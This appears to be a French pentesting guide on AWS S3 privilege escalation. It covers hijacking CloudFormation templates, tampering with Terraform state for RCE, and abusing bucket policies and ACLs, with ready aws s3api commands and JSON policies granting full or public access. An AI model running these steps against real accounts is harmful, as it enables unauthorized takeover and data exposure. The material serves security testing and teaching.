AWS - S3 Privesc

Reading time: 6 minutes

S3

s3:PutBucketNotification, s3:PutObject, s3:GetObject

Un attaquant ayant ces permissions sur des buckets intéressants pourrait être en mesure de détourner des ressources et d'escalader des privilèges.

Par exemple, un attaquant ayant ces permissions sur un bucket cloudformation appelé "cf-templates-nohnwfax6a6i-us-east-1" pourra détourner le déploiement. L'accès peut être accordé avec la politique suivante :

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}

Et le détournement est possible car il y a une petite fenêtre de temps entre le moment où le modèle est téléchargé dans le bucket et le moment où le modèle est déployé. Un attaquant pourrait simplement créer une lambda function dans son compte qui sera déclenchée lorsqu'une notification de bucket est envoyée, et détourner le contenu de ce bucket.

Le module Pacu cfn__resouce_injection peut être utilisé pour automatiser cette attaque.
Pour plus d'informations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/

s3:PutObject, s3:GetObject

Ce sont les permissions pour obtenir et télécharger des objets dans S3. Plusieurs services à l'intérieur d'AWS (et en dehors) utilisent le stockage S3 pour stocker des fichiers de configuration.
Un attaquant avec un accès en lecture pourrait trouver des informations sensibles sur eux.
Un attaquant avec un accès en écriture pourrait modifier les données pour abuser d'un service et essayer d'escalader les privilèges.
Voici quelques exemples :

• Si une instance EC2 stocke les données utilisateur dans un bucket S3, un attaquant pourrait le modifier pour exécuter du code arbitraire à l'intérieur de l'instance EC2.

s3:PutObject, s3:GetObject (optionnel) sur le fichier d'état terraform

Il est très courant que les fichiers d'état terraform soient sauvegardés dans le stockage blob des fournisseurs de cloud, par exemple AWS S3. Le suffixe de fichier pour un fichier d'état est .tfstate, et les noms de bucket indiquent souvent qu'ils contiennent des fichiers d'état terraform. En général, chaque compte AWS a un tel bucket pour stocker les fichiers d'état qui montrent l'état du compte.
De plus, dans les comptes du monde réel, presque tous les développeurs ont généralement s3:* et parfois même les utilisateurs professionnels ont s3:Put*.

Donc, si vous avez les permissions énumérées sur ces fichiers, il existe un vecteur d'attaque qui vous permet d'obtenir un RCE dans le pipeline avec les privilèges de terraform - la plupart du temps AdministratorAccess, vous rendant l'admin du compte cloud. De plus, vous pouvez utiliser ce vecteur pour effectuer une attaque par déni de service en faisant en sorte que terraform supprime des ressources légitimes.

Suivez la description dans la section Abusing Terraform State Files de la page Terraform Security pour du code d'exploitation directement utilisable :

Abusing Terraform State Files

s3:PutBucketPolicy

Un attaquant, qui doit être du même compte, sinon l'erreur The specified method is not allowed will trigger, avec cette permission pourra se donner plus de permissions sur le(s) bucket(s) lui permettant de lire, écrire, modifier, supprimer et exposer des buckets.

# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>

## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}

## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}

s3:GetBucketAcl, s3:PutBucketAcl

Un attaquant pourrait abuser de ces permissions pour lui accorder plus d'accès sur des buckets spécifiques.
Notez que l'attaquant n'a pas besoin d'être du même compte. De plus, l'accès en écriture

# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectAcl

Un attaquant pourrait abuser de ces autorisations pour lui accorder plus d'accès sur des objets spécifiques à l'intérieur des buckets.

# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json

##JSON ACL example
## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL

s3:GetObjectAcl, s3:PutObjectVersionAcl

Un attaquant disposant de ces privilèges est censé pouvoir appliquer un Acl à une version d'objet spécifique.

aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json